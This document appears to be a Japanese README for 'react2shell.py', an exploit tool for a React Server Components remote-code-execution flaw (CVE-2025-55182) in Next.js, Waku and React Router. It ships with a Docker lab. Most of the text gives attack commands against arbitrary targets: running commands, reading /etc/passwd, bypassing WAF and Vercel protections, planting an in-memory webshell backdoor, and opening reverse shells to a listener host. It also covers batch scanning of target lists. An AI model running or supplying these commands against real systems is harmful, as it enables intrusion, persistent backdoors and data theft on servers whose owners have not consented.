cd cli
pip install -r requirements.txt

# ターゲットをスキャン
python react2shell.py https://target.com

# コマンド実行
python react2shell.py https://target.com -c "id"

# インタラクティブシェル
python react2shell.py https://target.com -i

cd lab
docker-compose up -d

# 悪用可能なターゲット：
# Next.js 脆弱:          http://localhost:3011  ← 完全なRCE
# Waku 脆弱:             http://localhost:3014  ← RCE（ブラインド - HTTP出力なし）
# React Router:          http://localhost:3015  ← 完全なRCE（ESM）

# 保護されたターゲット：
# Next.js 修正済み:      http://localhost:3012  ← 安全
# WAF 保護:              http://localhost:3013  ← ModSecurityがエクスプロイトをブロック

nuclei -t nuclei/CVE-2025-55182.yaml -u https://target.com

# 基本スキャン（フレームワークを自動検出）
python react2shell.py https://target.com

# フレームワークを検出し、エンドポイントを列挙
python react2shell.py https://target.com --detect
python react2shell.py https://target.com -E -v

# 異なるフレームワークでコマンド実行
python react2shell.py https://target.com -c "id"                    # Next.js（自動）
python react2shell.py https://target.com -F waku -c "id"            # Waku（ブラインドRCE）
python react2shell.py https://target.com -F react-router -c "id"    # React Router（ESM）

# ラボでの例（出力あり）
python react2shell.py http://localhost:3011 -c "cat /app/secret/flag.txt"  # Next.js
python react2shell.py http://localhost:3015 -F react-router -c "id"        # React Router

# すべてのWAFバイパスを使用してコマンド実行
python react2shell.py https://target.com -c "cat /etc/passwd" -w -u

# プロキシ経由でインタラクティブシェル
python react2shell.py https://target.com -i -x http://127.0.0.1:8080

# インメモリウェブシェルのインストール（ポート1337にバックドアを作成）
python react2shell.py https://target.com --webshell mypassword
# アクセス: curl 'http://target:1337/?p=mypassword&cmd=id'

# リバースシェル
python react2shell.py https://target.com -r -l 10.0.0.1 -p 4444 -S bash

# ローカルプロジェクトの脆弱なバージョンをスキャン
python react2shell.py -L /path/to/project

# バッチスキャン（出力付き）
python react2shell.py targets.txt -t 20 -o results.json -v

実行オプション:
  -c, --cmd             実行するコマンド
  -i, --interactive     インタラクティブシェルセッション
  -r, --reverse         リバースシェルモード
  -l, --lhost           リスナーホスト
  -p, --lport           リスナーポート
  -S, --shell-type      シェルタイプ（nc, nc-mkfifo, bash, perl, python, ruby）
  -f, --read-file       リモートファイルを読み取る

スキャンオプション:
  -P, --path            テストするパス（カンマ区切りまたはファイル）
  -t, --threads         スレッド数（デフォルト: 10）
  -T, --timeout         リクエストタイムアウト（秒）（デフォルト: 10）
  -s, --safe            セーフモード（コード実行なし）
  -L, --local           ローカルプロジェクトディレクトリをスキャン
  -F, --framework       ターゲットフレームワーク（auto, nextjs, waku, react-router, expo）
  -E, --enumerate       エクスプロイト前にRSCエンドポイントを列挙
  --detect              フレームワークのみ検出し、エンドポイントを一覧表示
  --webshell            ポート1337にインメモリウェブシェルをインストール
  --rce                  RCE概念実証モード（デフォルト: セーフモード）

バイパスオプション:
  -w, --waf-bypass      ジャンクデータパディング
  -W, --waf-size        ジャンクサイズ（KB）（デフォルト: 128）
  -u, --unicode         Unicodeエンコーディングによるバイパス
  -V, --vercel-bypass   Vercel固有のバイパス
  --windows             Windows PowerShellペイロード

リクエストオプション:
  -x, --proxy           プロキシURL（例: http://127.0.0.1:8080）
  -H, --header          カスタムヘッダー
  -A, --user-agent      カスタムUser-Agent
  -k, --insecure        SSL検証を無効化

出力オプション:
  -o, --output          結果をJSONに保存
  -v, --verbose         バージョン検出を含む詳細出力
  -q, --quiet           脆弱なターゲットのみ表示
  --no-color            色を無効化
  --no-banner           バナーを非表示